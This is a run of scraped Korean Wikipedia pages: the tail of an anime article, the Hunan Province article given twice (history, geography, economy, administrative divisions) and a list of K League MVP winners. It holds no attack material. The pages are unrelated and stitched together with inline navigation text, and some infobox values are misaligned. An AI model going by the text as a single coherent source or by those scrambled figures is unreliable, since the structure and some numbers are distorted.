《딸기 맛》은 《DD 북두의 권 2 딸기 맛+》로 동 틀에서 방영 원본 주소 "https://ko.wikipedia.org/w/index.php?title=쾌걸_조로리&oldid=24499591" 분류: 여우를 소재로 한 작품1993년 애니메이션 영화2004년 애니메이션2005년 애니메이션2006년 애니메이션2007년 애니메이션2006년 애니메이션 영화2012년 애니메이션 영화2013년 애니메이션 영화2015년 애니메이션 영화2017년 애니메이션 영화TV 아사히 계열 애니메이션코미디 만화투니버스의 텔레비전 프로그램아지아도숨은 분류: 일본어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishEspañolFrançaisItaliano日本語LietuviųPortuguêsTagalogTürkçe中文 링크 편집 이 문서는 2019년 6월 29일 (토) 16:41에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
후난성 - 위키백과, 우리 모두의 백과사전 후난성 위키백과, 우리 모두의 백과사전. (호남 성에서 넘어옴) 둘러보기로 가기 검색하러 가기 湖南省 Húnán Shěng 약자: 湘 행정 단위 성 청사소재지 창사 (长沙) 면적 211,800km² (10위) 인구 (2007년) 인구밀도 68,800,000 (7위) 325/km² (13위) 공산당 서기 두자하오(杜家毫) 성장 쉬다저(许达哲) 민족 한족 - 85% 투쟈족 - 7% 먀오족 - 4%둥족 - 1%야오족 - 1% 지역전화 73X ISO 3166-2 CN-43 시차 UTC+8 웹사이트: www.hunan.gov.cn 후난 성(호남성, 중국어: 湖南省, 병음: Húnán Shěng)은 중화인민공화국 남부의 성이다. 이름은 둥팅 호(洞庭湖) 남쪽이라는 데에서 유래했다. 북쪽에 후베이 성, 동쪽에 장시 성, 남쪽에 광둥 성, 남서쪽에 광시 좡족 자치구, 서쪽에 구이저우 성, 북서쪽에 충칭이 접하고 있다. 목차 1 지리 2 역사 3 경제 4 주민 5 행정 구역 6 관광 7 교육 8 외부 링크 지리[편집] 후난성은 장강의 남쪽에 위치하고 상하이에서 1000km, 베이징에서 1200km, 광저우에서 500km 떨어져있다. 후난은 동경 109°-114° , 북위 20°-30°사이에 위치해있다. 성의 동쪽, 남쪽, 서쪽 면은 북서쪽의 우링산맥, 서쪽의 쉐펑산맥, 남쪽의 난링산맥, 동쪽의 뤄샤오산맥과 같은 산과 구릉으로 둘러싸여있다. 산과 구릉이 전체 면적의 80%를 차지하고 성 전체의 20%이하가 평야로 이루어져있다. 후난성 북쪽의 둥팅호에서 상강 (후난 성), 자강, 원강이 장강으로 모인다. 북부와 중부는 다소 낮은 U자 모양의 분지이고 북쪽으로 둥팅 호와 함께 열려있다. 후난성의 대부분은 창 강의 4개의 지류의 분지에 놓여있다. 둥팅호는 성에서 가장 큰 호수이자 중국에서 두 번째로 큰 담수호이다. 농업을 위한 땅의 매립 때문에 둥팅 호는 몇 개의 작은 호수들로 나뉘었고 비록 간척을 유보하는 경향이 있기는 하지만 호수 주변의 습지에 피해를 미치고 있다. 후난의 기후는 아열대성 기후로 겨울이 따뜻하고 강수량이 풍부하다. 1월 평균기온은 3~8 °C이고 7월 평균기온은 27~30 °C이다. 연평균 강수량은 1200~1700mm이다. 역사[편집] 후난의 원시림은 현대의 먀오 족, 투자 족, 야오 족의 조상들이 처음 차지하였다. 중국의 역사에 들어오게 된 것은 동주 때인 BC350년 경으로 초나라의 일부가 되었다. 몇 백년 이후에 북쪽에서 한족이 이주해오기 시작했고 계곡과 평원의 대부분의 숲이 제거되고 농경지가 되었다. 이 때에 후난 성의 많은 마을들의 이름은 이곳에 정착한 한족 가족들에서 유래하였다. 북쪽에서의 이주는 특히 유목민의 침입자들이 한족을 남쪽으로 내몰던 동진 때와 남송 때 두드러지기 시작했다. 오대 십국 시대에 후난은 독립 정권인 초나라의 본거지였다. 후난과 후베이는 청나라 때까지 후광 성(湖廣省)의 일부가 되었다고 한다. 후난은 창강 주변에 위치하여 중요한 교통의 중심이 되었다. 또한 제국 도로가 북중국과 남중국 사이에 건설되었다. 땅은 풍부한 곡물을 생산했고 심지어 넘쳐나서 중국의 다른 지역에 식량을 공급했다. 인구는 19세기까지 계속 증가했고 인구과잉 상태가 되어 농민 반란이 일어나기 쉬운 환경이 되었다. 태평 천국 운동이 1850년대에 남쪽의 광시 성에서 시작되었다. 반란군은 후난 성과 창 강 계곡을 따라 동쪽으로 퍼져나갔다. 마지막에 증국번이 이끄는 후난 인의 군대는 1854년에 난징으로 격해 반란군을 진압했다. 후난은 1910년에 무너져가는 청나라에 대항하는 반란이 일어나기까지 상대적으로 평온했고 뒤이어 1927년에는 공산주의자들의 추수 봉기가 있었다. 이 봉기는 후난 성 출신의 마오쩌둥이 이끌었고 그는 1927년에 단명한 후난 소비에트를 설립했다. 공산주의자들은 1934년까지 게릴라 군대를 후난 성과 장시 성 경계의 산지 지역을 근거지로 삼아 유지했다. 국민당 군대의 압박으로 유명한 장정이 시작되었고 근거지는 산시 성으로 옮겨갔다. 공산주의자들이 출발한 후에 중일전쟁이 발발했고 국민당 군대는 일본군에 대항해 싸웠다. 그들은 1944년에 함락되기까지 성도 창사를 방어했다. 일본은 우창부터 광저우까지의 철도(웨한 철도)를 통제하는 계획인 일호작전을 시작했다. 후난은 1945년에 일본을 패배시킨 후에 일어난 국공내전 때 상대적으로 피해를 덜 입었다. 1949년에 공산당은 국민당을 남쪽으로 후퇴시키고 후난 성으로 돌아왔다. 마오쩌둥의 고향으로 1966~1976년의 문화대혁명을 지지했다. 그래서 1976년에 마오쩌둥의 사후에도 덩샤오핑의 개혁 채택이 다른 성에 비해 느렸다. 이전의 중국 국무원총리였던 주룽지도 후난 사람이다. 중화민국의 전 총통 마잉주도 본적지가 후난이다. 경제[편집] 후난의 전통적인 작물은 쌀이다. 둥팅 호 지역은 모시 생산의 중심이고 후난은 또한 차 재배의 중심이다. 렁수이장 지역은 휘안광 광산으로 유명하고 중국의 안티몬 추출의 주요한 중심지 중 하나이다. 2008년 명목 GDP는 1조 1200억 위안(1640억 달러)였다. 1인당 GDP는 17521위안(2565달러)이었다. 주민[편집] 2000년의 인구 조사에 따르면 후난 성의 인구는 6440만 명이었고 41개의 민족으로 이루어져있었다. 이 중 89.79%(5783만 명)가 한족이고 10.21%(658만 명)이 소수 민족이었다. 주요 소수 민족으로 투자 족, 먀오 족, 둥 족, 야오 족, 후이 족, 바이 족, 좡 족, 위구르 족 등이 있다. 행정 구역[편집] 후난성은 13개 지급시에 1개 자치주로 구성되었으며 산하에 35개시할구 63개현 17개현급시 7개 자치현이 있다 후난 성의 행정구역 № 이름 한자 병음 면적(Km2) 인구(2010년) 시청소재지 지급시 1 창사 시(장사시) 长沙市 Chángshā Shì 11,819.46 7,044,118 웨루 구 2 창더 시(상덕시) 常德市 Chángdé Shì 18,177.18 5,747,218 우링 구 3 천저우 시(침주시) 郴州市 Chēnzhōu Shì 19,317.33 4,581,778 베이후 구 4 헝양 시(형양시) 衡阳市 Héngyáng Shì 15,302.78 7,141,462 정샹 구 5 화이화 시(회화시) 怀化市 Huáihuà Shì 27,562.72 4,741,948 허청 구 6 뤄디 시(누저시) 娄底市 Lóudǐ Shì 8,107.61 3,785,627 뤄싱 구 7 사오양 시(소양시) 邵阳市 Shàoyáng Shì 20,829.63 7,071,826 다샹 구 8 샹탄 시(상담시) 湘潭市 Xiāngtán Shì 5,006.46 2,748,552 웨탕 구 9 이양 시(익양시) 益阳市 Yìyáng Shì 12,325.16 4,313,084 허산 구 10 융저우 시(영주시) 永州市 Yǒngzhōu Shì 22,255.31 5,180,235 렁수이탄 구 11 웨양 시(악양시) 岳阳市 Yuèyáng Shì 14,897.88 5,477,911 웨양러우 구 12 장자제 시(장가계시) 张家界市 Zhāngjiājiè Shì 9,516.03 1,476,521 융딩 구 13 주저우 시(주주시) 株洲市 Zhūzhōu Shì 11,262.20 3,855,609 톈위안 구 자치주 14 샹시 투자족 먀오족 자치주(상서토가족묘족자치주) 湘西土家族苗族自治州 Xiāngxī Tǔjiāzú Miáozú Zìzhìzhōu 15,462.30 2,547,833 지서우 시 장자제(장가계) 관광[편집] 장가계 무릉원 악양루 (웨양 시) 형산 (남악) 교육[편집] 중난 대학 (中南大学) 후난 대학 (湖南大学) 후난 사범대학 (湖南師範大学) 샹탄 대학 (湘潭大学) 중난 공업대학 (中南工業大学) 후난 농업대학(湖南農業大学) 외부 링크[편집] (중국어/영어) 공식 웹사이트 vdeh후난성의 행정 구역 성도: 창사시 창사시 웨루구 푸룽구 톈신구 카이푸구 위화구 왕청구 류양시 닝샹시 창사현 주저우시 톈위안구 허탕구 루쑹구 스펑구 루커우구 리링시 옌링현 차링현 유현 샹탄시 웨탕구 위후구 샹샹시 사오산시 샹탄현 헝양시 옌펑구 주후이구 스구구 정샹구 난웨구 레이양시 창닝시 헝양현 헝둥현 헝산현 헝난현 치둥현 사오양시 솽칭구 다샹구 베이타구 우강시 사오둥현 둥커우현 신사오현 쑤이닝현 신닝현 사오양현 룽후이현 청부 먀오족 자치현 웨양시 웨양러우구 윈시구 쥔산구 린샹시 미뤄시 웨양현 샹인현 핑장현 화룽현 창더시 우링구 딩청구 진스시 리현 린리현 타오위안현 한서우현 안샹현 스먼현 장자제시 융딩구 우링위안구 츠리현 쌍즈현 이양시 허산구 쯔양구 위안장시 타오장현 난현 안화현 천저우시 베이후구 쑤셴구 쯔싱시 이장현 루청현 안런현 자허현 린우현 구이둥현 융싱현 구이양현 융저우시 렁수이탄구 링링구 치양현 란산현 닝위안현 신톈현 둥안현 장융현 다오현 솽파이현 장화 야오족 자치현 화이화시 허청구 훙장시 천시현 위안링현 후이퉁현 쉬푸현 중팡현 신황 둥족 자치현 즈장 둥족 자치현 퉁다오 둥족 자치현 징저우 먀오족 둥족 자치현 마양 먀오족 자치현 뤄디시 뤄싱구 렁수이장시 롄위안시 신화현 솽펑현 샹시 투자족 먀오족 자치주 지서우시 구장현 룽산현 융순현 펑황현 루시현 바오징현 화위안현 vdeh 중화인민공화국의 행정 구역성 간쑤성 광둥성 구이저우성 랴오닝성 산둥성 산시성 (산서성) 산시성 (섬서성) 쓰촨성 안후이성 윈난성 장시성 장쑤성 저장성 지린성 칭하이성 푸젠성 하이난성 허난성 허베이성 헤이룽장성 후난성 후베이성 자치구 광시 좡족 자치구 내몽골 자치구 티베트 자치구 신장 위구르 자치구 닝샤 후이족 자치구 직할시 베이징시 상하이시 충칭시 톈진시 특별행정구 마카오 홍콩 타이완성(현재는 분리된 타이베이, 가오슝, 신베이, 타이중, 타이난 시 포함)과 푸젠성 일부는 중화인민공화국의 실효 통치 지역이 아니며 중화민국의 영토이다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=후난성&oldid=24082945" 분류: 후난성숨은 분류: 중국어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 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후난성 - 위키백과, 우리 모두의 백과사전 후난성 위키백과, 우리 모두의 백과사전. (호남 성에서 넘어옴) 둘러보기로 가기 검색하러 가기 湖南省 Húnán Shěng 약자: 湘 행정 단위 성 청사소재지 창사 (长沙) 면적 211,800km² (10위) 인구 (2007년) 인구밀도 68,800,000 (7위) 325/km² (13위) 공산당 서기 두자하오(杜家毫) 성장 쉬다저(许达哲) 민족 한족 - 85% 투쟈족 - 7% 먀오족 - 4%둥족 - 1%야오족 - 1% 지역전화 73X ISO 3166-2 CN-43 시차 UTC+8 웹사이트: www.hunan.gov.cn 후난 성(호남성, 중국어: 湖南省, 병음: Húnán Shěng)은 중화인민공화국 남부의 성이다. 이름은 둥팅 호(洞庭湖) 남쪽이라는 데에서 유래했다. 북쪽에 후베이 성, 동쪽에 장시 성, 남쪽에 광둥 성, 남서쪽에 광시 좡족 자치구, 서쪽에 구이저우 성, 북서쪽에 충칭이 접하고 있다. 목차 1 지리 2 역사 3 경제 4 주민 5 행정 구역 6 관광 7 교육 8 외부 링크 지리[편집] 후난성은 장강의 남쪽에 위치하고 상하이에서 1000km, 베이징에서 1200km, 광저우에서 500km 떨어져있다. 후난은 동경 109°-114° , 북위 20°-30°사이에 위치해있다. 성의 동쪽, 남쪽, 서쪽 면은 북서쪽의 우링산맥, 서쪽의 쉐펑산맥, 남쪽의 난링산맥, 동쪽의 뤄샤오산맥과 같은 산과 구릉으로 둘러싸여있다. 산과 구릉이 전체 면적의 80%를 차지하고 성 전체의 20%이하가 평야로 이루어져있다. 후난성 북쪽의 둥팅호에서 상강 (후난 성), 자강, 원강이 장강으로 모인다. 북부와 중부는 다소 낮은 U자 모양의 분지이고 북쪽으로 둥팅 호와 함께 열려있다. 후난성의 대부분은 창 강의 4개의 지류의 분지에 놓여있다. 둥팅호는 성에서 가장 큰 호수이자 중국에서 두 번째로 큰 담수호이다. 농업을 위한 땅의 매립 때문에 둥팅 호는 몇 개의 작은 호수들로 나뉘었고 비록 간척을 유보하는 경향이 있기는 하지만 호수 주변의 습지에 피해를 미치고 있다. 후난의 기후는 아열대성 기후로 겨울이 따뜻하고 강수량이 풍부하다. 1월 평균기온은 3~8 °C이고 7월 평균기온은 27~30 °C이다. 연평균 강수량은 1200~1700mm이다. 역사[편집] 후난의 원시림은 현대의 먀오 족, 투자 족, 야오 족의 조상들이 처음 차지하였다. 중국의 역사에 들어오게 된 것은 동주 때인 BC350년 경으로 초나라의 일부가 되었다. 몇 백년 이후에 북쪽에서 한족이 이주해오기 시작했고 계곡과 평원의 대부분의 숲이 제거되고 농경지가 되었다. 이 때에 후난 성의 많은 마을들의 이름은 이곳에 정착한 한족 가족들에서 유래하였다. 북쪽에서의 이주는 특히 유목민의 침입자들이 한족을 남쪽으로 내몰던 동진 때와 남송 때 두드러지기 시작했다. 오대 십국 시대에 후난은 독립 정권인 초나라의 본거지였다. 후난과 후베이는 청나라 때까지 후광 성(湖廣省)의 일부가 되었다고 한다. 후난은 창강 주변에 위치하여 중요한 교통의 중심이 되었다. 또한 제국 도로가 북중국과 남중국 사이에 건설되었다. 땅은 풍부한 곡물을 생산했고 심지어 넘쳐나서 중국의 다른 지역에 식량을 공급했다. 인구는 19세기까지 계속 증가했고 인구과잉 상태가 되어 농민 반란이 일어나기 쉬운 환경이 되었다. 태평 천국 운동이 1850년대에 남쪽의 광시 성에서 시작되었다. 반란군은 후난 성과 창 강 계곡을 따라 동쪽으로 퍼져나갔다. 마지막에 증국번이 이끄는 후난 인의 군대는 1854년에 난징으로 격해 반란군을 진압했다. 후난은 1910년에 무너져가는 청나라에 대항하는 반란이 일어나기까지 상대적으로 평온했고 뒤이어 1927년에는 공산주의자들의 추수 봉기가 있었다. 이 봉기는 후난 성 출신의 마오쩌둥이 이끌었고 그는 1927년에 단명한 후난 소비에트를 설립했다. 공산주의자들은 1934년까지 게릴라 군대를 후난 성과 장시 성 경계의 산지 지역을 근거지로 삼아 유지했다. 국민당 군대의 압박으로 유명한 장정이 시작되었고 근거지는 산시 성으로 옮겨갔다. 공산주의자들이 출발한 후에 중일전쟁이 발발했고 국민당 군대는 일본군에 대항해 싸웠다. 그들은 1944년에 함락되기까지 성도 창사를 방어했다. 일본은 우창부터 광저우까지의 철도(웨한 철도)를 통제하는 계획인 일호작전을 시작했다. 후난은 1945년에 일본을 패배시킨 후에 일어난 국공내전 때 상대적으로 피해를 덜 입었다. 1949년에 공산당은 국민당을 남쪽으로 후퇴시키고 후난 성으로 돌아왔다. 마오쩌둥의 고향으로 1966~1976년의 문화대혁명을 지지했다. 그래서 1976년에 마오쩌둥의 사후에도 덩샤오핑의 개혁 채택이 다른 성에 비해 느렸다. 이전의 중국 국무원총리였던 주룽지도 후난 사람이다. 중화민국의 전 총통 마잉주도 본적지가 후난이다. 경제[편집] 후난의 전통적인 작물은 쌀이다. 둥팅 호 지역은 모시 생산의 중심이고 후난은 또한 차 재배의 중심이다. 렁수이장 지역은 휘안광 광산으로 유명하고 중국의 안티몬 추출의 주요한 중심지 중 하나이다. 2008년 명목 GDP는 1조 1200억 위안(1640억 달러)였다. 1인당 GDP는 17521위안(2565달러)이었다. 주민[편집] 2000년의 인구 조사에 따르면 후난 성의 인구는 6440만 명이었고 41개의 민족으로 이루어져있었다. 이 중 89.79%(5783만 명)가 한족이고 10.21%(658만 명)이 소수 민족이었다. 주요 소수 민족으로 투자 족, 먀오 족, 둥 족, 야오 족, 후이 족, 바이 족, 좡 족, 위구르 족 등이 있다. 행정 구역[편집] 후난성은 13개 지급시에 1개 자치주로 구성되었으며 산하에 35개시할구 63개현 17개현급시 7개 자치현이 있다 후난 성의 행정구역 № 이름 한자 병음 면적(Km2) 인구(2010년) 시청소재지 지급시 1 창사 시(장사시) 长沙市 Chángshā Shì 11,819.46 7,044,118 웨루 구 2 창더 시(상덕시) 常德市 Chángdé Shì 18,177.18 5,747,218 우링 구 3 천저우 시(침주시) 郴州市 Chēnzhōu Shì 19,317.33 4,581,778 베이후 구 4 헝양 시(형양시) 衡阳市 Héngyáng Shì 15,302.78 7,141,462 정샹 구 5 화이화 시(회화시) 怀化市 Huáihuà Shì 27,562.72 4,741,948 허청 구 6 뤄디 시(누저시) 娄底市 Lóudǐ Shì 8,107.61 3,785,627 뤄싱 구 7 사오양 시(소양시) 邵阳市 Shàoyáng Shì 20,829.63 7,071,826 다샹 구 8 샹탄 시(상담시) 湘潭市 Xiāngtán Shì 5,006.46 2,748,552 웨탕 구 9 이양 시(익양시) 益阳市 Yìyáng Shì 12,325.16 4,313,084 허산 구 10 융저우 시(영주시) 永州市 Yǒngzhōu Shì 22,255.31 5,180,235 렁수이탄 구 11 웨양 시(악양시) 岳阳市 Yuèyáng Shì 14,897.88 5,477,911 웨양러우 구 12 장자제 시(장가계시) 张家界市 Zhāngjiājiè Shì 9,516.03 1,476,521 융딩 구 13 주저우 시(주주시) 株洲市 Zhūzhōu Shì 11,262.20 3,855,609 톈위안 구 자치주 14 샹시 투자족 먀오족 자치주(상서토가족묘족자치주) 湘西土家族苗族自治州 Xiāngxī Tǔjiāzú Miáozú Zìzhìzhōu 15,462.30 2,547,833 지서우 시 장자제(장가계) 관광[편집] 장가계 무릉원 악양루 (웨양 시) 형산 (남악) 교육[편집] 중난 대학 (中南大学) 후난 대학 (湖南大学) 후난 사범대학 (湖南師範大学) 샹탄 대학 (湘潭大学) 중난 공업대학 (中南工業大学) 후난 농업대학(湖南農業大学) 외부 링크[편집] (중국어/영어) 공식 웹사이트 vdeh후난성의 행정 구역 성도: 창사시 창사시 웨루구 푸룽구 톈신구 카이푸구 위화구 왕청구 류양시 닝샹시 창사현 주저우시 톈위안구 허탕구 루쑹구 스펑구 루커우구 리링시 옌링현 차링현 유현 샹탄시 웨탕구 위후구 샹샹시 사오산시 샹탄현 헝양시 옌펑구 주후이구 스구구 정샹구 난웨구 레이양시 창닝시 헝양현 헝둥현 헝산현 헝난현 치둥현 사오양시 솽칭구 다샹구 베이타구 우강시 사오둥현 둥커우현 신사오현 쑤이닝현 신닝현 사오양현 룽후이현 청부 먀오족 자치현 웨양시 웨양러우구 윈시구 쥔산구 린샹시 미뤄시 웨양현 샹인현 핑장현 화룽현 창더시 우링구 딩청구 진스시 리현 린리현 타오위안현 한서우현 안샹현 스먼현 장자제시 융딩구 우링위안구 츠리현 쌍즈현 이양시 허산구 쯔양구 위안장시 타오장현 난현 안화현 천저우시 베이후구 쑤셴구 쯔싱시 이장현 루청현 안런현 자허현 린우현 구이둥현 융싱현 구이양현 융저우시 렁수이탄구 링링구 치양현 란산현 닝위안현 신톈현 둥안현 장융현 다오현 솽파이현 장화 야오족 자치현 화이화시 허청구 훙장시 천시현 위안링현 후이퉁현 쉬푸현 중팡현 신황 둥족 자치현 즈장 둥족 자치현 퉁다오 둥족 자치현 징저우 먀오족 둥족 자치현 마양 먀오족 자치현 뤄디시 뤄싱구 렁수이장시 롄위안시 신화현 솽펑현 샹시 투자족 먀오족 자치주 지서우시 구장현 룽산현 융순현 펑황현 루시현 바오징현 화위안현 vdeh 중화인민공화국의 행정 구역성 간쑤성 광둥성 구이저우성 랴오닝성 산둥성 산시성 (산서성) 산시성 (섬서성) 쓰촨성 안후이성 윈난성 장시성 장쑤성 저장성 지린성 칭하이성 푸젠성 하이난성 허난성 허베이성 헤이룽장성 후난성 후베이성 자치구 광시 좡족 자치구 내몽골 자치구 티베트 자치구 신장 위구르 자치구 닝샤 후이족 자치구 직할시 베이징시 상하이시 충칭시 톈진시 특별행정구 마카오 홍콩 타이완성(현재는 분리된 타이베이, 가오슝, 신베이, 타이중, 타이난 시 포함)과 푸젠성 일부는 중화인민공화국의 실효 통치 지역이 아니며 중화민국의 영토이다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=후난성&oldid=24082945" 분류: 후난성숨은 분류: 중국어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 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K리그 최우수선수상 - 위키백과, 우리 모두의 백과사전 K리그 최우수선수상 위키백과, 우리 모두의 백과사전. (K리그 최우수선수상 (MVP)에서 넘어옴) 둘러보기로 가기 검색하러 가기 역대 K리그와 R리그에서 최우수선수상을 받은 선수들의 명단이다. 목차 1 K리그1 수상자 (1983–현재) 2 K리그2 수상자 (2013–현재) 3 프로축구선수권대회 수상자 (1986) 4 R리그 수상자 (1990, 2000–2010) 5 참고 자료 6 같이 보기 K리그1 수상자 (1983–현재)[편집] 시즌 이름 포지션 구단 1983 박성화 미드필더 (MF) 할렐루야 독수리 1984 박창선 미드필더 (MF) 대우 로얄즈 1985 한문배 미드필더 (MF) 럭키금성 황소 1986 이흥실 미드필더 (MF) 포항제철 아톰즈 1987 정해원 미드필더 (MF) 대우 로얄즈 1988 박경훈 수비수 (DF) 포항제철 아톰즈 1989 노수진 공격수 (FW) 유공 코끼리 1990 최진한 미드필더 (MF) 럭키금성 황소 1991 정용환 수비수 (DF) 대우 로얄즈 1992 홍명보 수비수 (DF) 포항제철 아톰즈 1993 이상윤 미드필더 (MF) 일화 천마 1994 고정운 미드필더 (MF) 일화 천마 1995 신태용 미드필더 (MF) 일화 천마 1996 김현석 공격수 (FW) 울산 현대 호랑이 1997 김주성 수비수 (DF) 부산 대우 로얄즈 1998 고종수 미드필더 (MF) 수원 삼성 블루윙즈 1999 안정환 공격수 (FW) 부산 대우 로얄즈 2000 최용수 공격수 (FW) 안양 LG 치타스 2001 신태용 미드필더 (MF) 성남 일화 천마 2002 김대의 미드필더 (MF) 성남 일화 천마 2003 김도훈 공격수 (FW) 성남 일화 천마 2004 나드손 공격수 (FW) 수원 삼성 블루윙즈 2005 이천수 공격수 (FW) 울산 현대 호랑이 2006 김두현 미드필더 (MF) 성남 일화 천마 2007 따바레즈 공격수 (FW) 포항 스틸러스 2008 이운재 골키퍼 (GK) 수원 삼성 블루윙즈 2009 이동국 공격수 (FW) 전북 현대 모터스 2010 김은중 공격수 (FW) 제주 유나이티드 2011 이동국 공격수 (FW) 전북 현대 모터스 2012 데얀 공격수 (FW) FC 서울 2013 김신욱 공격수 (FW) 울산 현대 2014 이동국 공격수 (FW) 전북 현대 모터스 2015 이동국 공격수 (FW) 전북 현대 모터스 2016 정조국 공격수 (FW) 광주 FC 2017 이재성 미드필더 (MF) 전북 현대 모터스 2018 말컹 공격수 (FW) 경남 FC K리그2 수상자 (2013–현재)[편집] 시즌 이름 포지션 구단 2013 이근호 공격수 (FW) 상주 상무 2014 아드리아노 공격수 (FW) 대전 시티즌 2015 조나탄 공격수 (FW) 대구 FC 2016 김동찬 공격수 (FW) 대전 시티즌 2017 말컹 공격수 (FW) 경남 FC 2018 나상호 공격수 (FW) 광주 FC 프로축구선수권대회 수상자 (1986)[편집] 시즌 선수 포지션 구단 1986 최강희 수비수 (DF) 현대 호랑이 R리그 수상자 (1990, 2000–2010)[편집] 시즌 이름 포지션 구단 1990 최문식 미드필더 (MF) 포항제철 아톰즈 2000 김우재 미드필더 (MF) 성남 일화 천마 2001 백영철 미드필더 (MF) 성남 일화 천마 2002 박동석 골키퍼 (GK) 안양 LG 치타스 2003 수상자 없음 2004 한동원 공격수 (FW) FC 서울 2005 유현구 미드필더 (MF) 부천 SK 2006 이근호 공격수 (FW) 인천 유나이티드 2007 이원재 수비수 (DF) 포항 스틸러스 2008 강수일 공격수 (FW) 인천 유나이티드 2009 김선우 미드필더 (MF) 인천 유나이티드 2010 수상자 없음 참고 자료[편집] K리그 공식 웹사이트 : 역대 개인상 수상자 K리그 공식 웹사이트 : K리그 히스토리 같이 보기[편집] K리그 신인선수상 K리그 득점상 K리그 도움상 K리그 베스트 11 K리그 감독상 K리그 개인 수상 기록 K리그 구단 수상 기록 대한민국 FA컵 최우수선수상 vdehK리그1 최우수선수상 K리그1 (MVP・득점왕・도움왕・베스트 11・감독) K리그2 (MVP・득점왕・도움왕・베스트 11・감독) 영플레이어 팬타스틱 플레이어 1983: 박성화 1984: 박창선 1985: 한문배 1986: 이흥실 1987: 정해원 1988: 박경훈 1989: 노수진 1990: 최진한 1991: 정용환 1992: 홍명보 1993: 이상윤 1994: 고정운 1995: 신태용 1996: 김현석 1997: 김주성 1998: 고종수 1999: 안정환 2000: 최용수 2001: 신태용 2002: 김대의 2003: 김도훈 2004: 나드손 2005: 이천수 2006: 김두현 2007: 따바레즈 2008: 이운재 2009: 이동국 2010: 김은중 2011: 이동국 2012: 데얀 2013: 김신욱 2014: 이동국 2015: 이동국 2016: 정조국 2017: 이재성 2018: 말컹 vdehK리그2 최우수선수상 K리그1 (MVP・득점왕・도움왕・베스트 11・감독) K리그2 (MVP・득점왕・도움왕・베스트 11・감독) 영플레이어 팬타스틱 플레이어 2013: 이근호 2014: 아드리아노 2015: 조나탄 2016: 김동찬 2017: 말컹 2018: 나상호 vdeh K리그K리그1 (2019) 강원 FC 경남 FC 대구 FC 상주 상무 FC 서울 성남 FC 수원 삼성 블루윙즈 울산 현대 인천 유나이티드 전북 현대 모터스 제주 유나이티드 포항 스틸러스 K리그2 (2019) 광주 FC 대전 시티즌 부산 아이파크 부천 FC 1995 서울 이랜드 FC 수원 FC 아산 무궁화 안산 그리너스 FC FC 안양 전남 드래곤즈 과거 참가 구단 국민은행 할렐루야 한일은행 상무 전북 버팔로 광주 상무 고양 자이크로 FC 충주 험멜 안산 무궁화 기록 K리그의 기록과 통계 K리그1 클럽별 통산 기록 K리그2 클럽별 통산 기록 구단 (K리그 우승) K리그 득점-도움 기록 선수 (K리그1 외국인, K리그2 외국인) 수상 K리그 대상 (개인 수상: 최우수선수상 영플레이어상 득점상 도움상 베스트 11 팬타스틱 플레이어 감독상 / 구단 수상) 선수 선발 K리그 드래프트 K리그 자유선발 K리그 자유계약선수제도 승강제 K리그 승강 플레이오프 기타 K리그 올스타전 K리그 주니어 K리그 유스 챔피언십 R리그 공식 경기구 원본 주소 "https://ko.wikipedia.org/w/index.php?title=K리그_최우수선수상&oldid=23141732" 분류: K리그 최우수 선수K리그 상축구 대회 최우수 선수 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançais日本語 링크 편집 이 문서는 2018년 12월 3일 (월) 19:02에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
